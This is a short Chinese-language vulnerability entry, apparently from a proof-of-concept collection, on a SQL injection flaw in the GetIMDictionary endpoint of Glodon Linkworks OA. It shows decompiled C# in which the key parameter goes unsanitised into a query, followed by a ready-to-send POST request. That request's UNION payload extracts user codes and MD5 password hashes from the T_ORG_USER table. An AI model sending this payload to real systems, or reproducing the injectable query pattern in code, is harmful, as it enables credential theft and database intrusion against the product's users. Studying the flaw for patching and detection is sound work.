# 广联达 Linkworks GetIMDictionary SQL注入漏洞
# 漏洞描述
广联达 Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞，发送请求包后可以获取数据库中的敏感信息
# 漏洞影响
# 网络测绘
# 漏洞复现
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// GTP.IM.Services.Config.WebSite.WebService.IM.Config.ConfigService
// Token: 0x06000018 RID: 24 RVA: 0x00004148 File Offset: 0x00002348
[WebMethod(Description = "得到IM系统配置")]
public string GetIMDictionary(string key)
{
string str = string.Empty;
ISysConfigService service = ServiceFactory.GetService<ISysConfigService>();
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("select F_VALUE from T_IM_DICTIONARY where f_key='{0}';", key);
DataSet dataSet = GSqlDataAccess.SelectDataSet(service.DataSourceName, stringBuilder.ToString(), new DataParameter[0]);
if (dataSet != null && dataSet.Tables.Count > 0 && dataSet.Tables[0] != null)
{
foreach (object obj in dataSet.Tables[0].Rows)
{
DataRow dataRow = (DataRow)obj;
str = dataRow["F_VALUE"].ToString();
}
}
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
stringBuilder2.Append("<result value=\"" + str + "\" >");
stringBuilder2.Append("</result>");
return stringBuilder2.ToString();
}
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验证POC
POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
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